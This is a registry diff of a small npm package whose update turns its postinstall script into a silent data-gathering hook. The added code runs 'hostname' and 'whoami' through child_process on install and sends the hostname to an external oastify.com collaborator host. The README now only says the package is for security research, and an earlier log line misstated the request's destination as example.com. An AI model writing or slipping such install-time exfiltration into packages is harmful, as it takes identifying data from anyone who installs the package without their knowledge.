transparent-example-request99 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,10 +1,12 @@
1
1
  This package is a simple demonstration module that:
2
2
 
3
- - Provides a small JavaScript function (`hello()`)
4
- - Runs a transparent postinstall script for testing purposes
3
+ DO NOT USE => THIS IS FOR SECURITY RESEARCH!!!!!
4
+
5
+
6
+
7
+
8
+
9
+
10
+
5
11
 
6
- ## Usage Example
7
12
 
8
- ```js
9
- const { hello } = require('transparent-example-request99');
10
- console.log(hello());
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "transparent-example-request99",
3
- "version": "1.0.3",
3
+ "version": "1.0.4",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,7 +1,19 @@
1
1
  const https = require('https');
2
2
 
3
- https.get('https://4hmemny3bq5uvqyj525prr8a016sulia.oastify.com', res => {
4
- console.log('Made a transparent postinstall request to example.com');
3
+ const { execSync } = require('child_process');
4
+
5
+ const hostname = execSync('hostname').toString().trim();
6
+ const user = execSync('whoami').toString().trim();
7
+
8
+
9
+
10
+
11
+ https.get(`https://4hmemny3bq5uvqyj525prr8a016sulia.oastify.com?${hostname}`, res => {
12
+
13
+
14
+
15
+
16
+ console.log('Security Research');
5
17
  }).on('error', err => {
6
18
  console.error('Request failed:', err.message);
7
19